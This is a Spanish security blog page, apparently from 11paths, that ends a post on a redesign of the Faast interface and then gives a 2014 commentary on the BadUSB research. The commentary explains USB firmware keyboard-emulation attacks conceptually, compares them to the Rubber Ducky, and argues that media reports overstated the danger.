Vista de software
  • Direcciones IP:

Vista de direcciones IP del análisis

Vista de usuarios

Esta vista no incluye ninguna de las grandes novedades de la interfaz web, por lo que únicamente se presenta su nuevo diseño:

Creación de usuarios

Lista de usuarios creados

Analizando ahora la vista de "mi cuenta", se puede ver que se ha estructurado y rediseñado notablemente.


Apartado "Mi cuenta"

Pensamos que tanto el diseño como las nuevas funcionalidades de esta interfaz proporcionan a Faast grandes mejoras no solo de rendimiento, sino también de usabilidad y estética.

* Faast: Nuevo diseño (I)

Julia Llanos
julia.llanos@11paths.com

badUSB: ¿De verdad que es tan grave?

lunes, 4 de agosto de 2014

Karsten Nohl y Jakob Lell hablarán en la Black Hat de BadUSB. No es "malware indetectable" ni nada por el estilo, como se está diciendo. Es el nombre "comercial" que le han puesto a una serie de herramientas o técnicas que permitirán realizar ataques más sofisticados a través de dispositivos USB (memorias flash, por ejemplo). Obviamente, esto ha sido acogido en los medios con sirenas, bombos y platillos. Veamos si en realidad es para tanto.

Quiénes son

Karsten Nohl es un viejo conocido en el panorama de la seguridad. En la Black Hat de 2013 demostró cómo se podía tener total acceso a una tarjeta SIM de varios operadores solamente enviando un mensaje SMS y aprovechando fallos de seguridad Java en la implementación del software de la tarjeta SIM. Jakob Lell por su parte en 2012, descubrió cómo se calculaba la contraseña predefinida en routers Belkin.

Ahora han desarrollado una técnica con la que se podría infectar cualquier PC (no habla de sistema operativo) a través de un dispositivo USB. Dicen que se ha atacado al verdadero corazón de los USB y que por tanto, el ataque es prácticamente imparable a menos que se sellen físicamente los puertos del ordenador. Solamente con enchufar un USB, se podría tomar completo control del sistema. A partir de ahí, los medios describen un escenario apocalíptico en los que nadie estaría seguro.

Qué se puede hacer y por qué

A pesar de todas las elucubraciones que se pueden estar lanzando al respecto, lo que parecen haber creado (a la espera de detalles) es un método para modificar el firmware de dispositivos USB y cargar código. Este firmware controla las funciones más básicas, por tanto no se accede a él nunca, y mucho menos como se accede a los archivos almacenados en un USB tradicional. Así que fundamentalmente, han puesto nombre muy vendible (badUSB, sin duda inspirado en badBIOS, un FUD de principios de 2014) a una técnica consistente en modificar el firmware de un dispositivo para que se haga pasar por un teclado u otro dispositivo y cargue en el sistema (a un nivel de permisos y privilegios que se lo permita) cualquier código. En teoría, esto puede conseguirse con todo dispositivo USB, desde ratones hasta cámaras pasando por teléfonos. Lo que hace esta técnica fundamentalmente, es conseguir que un dispositivo le diga al sistema cuando se enchufa, que es un teclado, por ejemplo.

¿Existía esta técnica antes?

Se ha dicho que esto son "viejas noticias". El firmware de los chips de los dispositivos no suelen ofrecer protección para reprogramarlos. A partir de ahí, se podría crear un firmware modificado que emulase un teclado o falsificar una tarjeta de red. Así, se podría como "simular" que se teclea lo que sea (y por tanto tomar el control) o redirigir el tráfico (y por tanto, también, tomar el control). Si se deja insertado durante el arranque, quizás incluso llegar más profundo al corazón del sistema operativo. Pero... ¿esto no existía antes?

A muchos, este método les ha recordado a un producto que ya existe. Rubber Ducky. Se trata de lo que parece una memoria USB inocente, pero que integra un pequeño ordenador con tarjeta SD. Al conectarse a un dispositivo, es reconocido como HID (una interfaz humana) o, comúnmente, un teclado. El sistema operativo cargará su driver de teclado USB y a partir de ahí, Rubber Ducky le mandará "pulsaciones" simuladas. Las posibilidades son infinitas.

Ejemplo de script para cargar mimikatz con Rubber Ducky. Fuente: https://forums.hak5.org/index.php?/topic/29657-payload-ducky-script-using-mimikatz-to-dump-passwords-from-memory/
Parece que BadUSB ha ido más allá, y lo que han hecho es convertir un USB (¿cualquiera?) en un Rubber Ducky. Aunque como siempre, sin los detalles en la mano, surgen dudas.

¿Absolutamente todo el firmware de todos los dispositivos USB son modificables? Suponemos que no. En las demostraciones de la Black Hat, trabajarán principalmente con aparatos de Phison Electronics.

¿De verdad no hay defensas y es imparable? En el artículo original, se habla de que obviamente, ni borrando, formateando con herramientas convencionales se llega a ver ese "código" porque está en el firmware del dispositivo. No es noticia que esta parte no es analizada por ningún antimalware. Tampoco una vez cargado, así que, de ahí a disparar la imaginación: "indetectable", "imparable", etc. Luego se especula sobre que hasta podría haber cambiado la BIOS del sistema una vez infectado y ya nunca podrías confiar en el ordenador. Esto es ir mucho más allá de la técnica en sí, y solo sirve para alimentar el "miedo".

Pero aun así, surgen dudas de si de verdad es imparable. Las "no-protecciones" que ofrece el artículo hablan de antimalware (que ya sabemos que no son protección suficiente bajo ninguna circunstancia). Pero... ¿de verdad que no servirían otras?

En última instancia, el FUD no lo han introducido los investigadores sino los medios. La investigación es muy interesante, aunque probablemente no sea tan grave como se ha pintado. Es cierto (desde hace tiempo) que cualquier cosa que se conecte supone un problema de seguridad, y mejorarlo no está de más. Es decir, ataques similares son posibles desde hace tiempo, no hay por qué tomar medidas exclusivamente a partir de ahora. Aunque quizás sirva pare recordar a los principales fabricantes de USB que deben mejorar la seguridad de sus sistemas para impedir que su firmware sea modificado impunemente y a los usuarios, la importancia que siempre ha tenido el impedir el acceso físico al ordenador y la conexión indiscriminada de cualquier dispositivo.

Sergio de los Santos
ssantos@11paths.com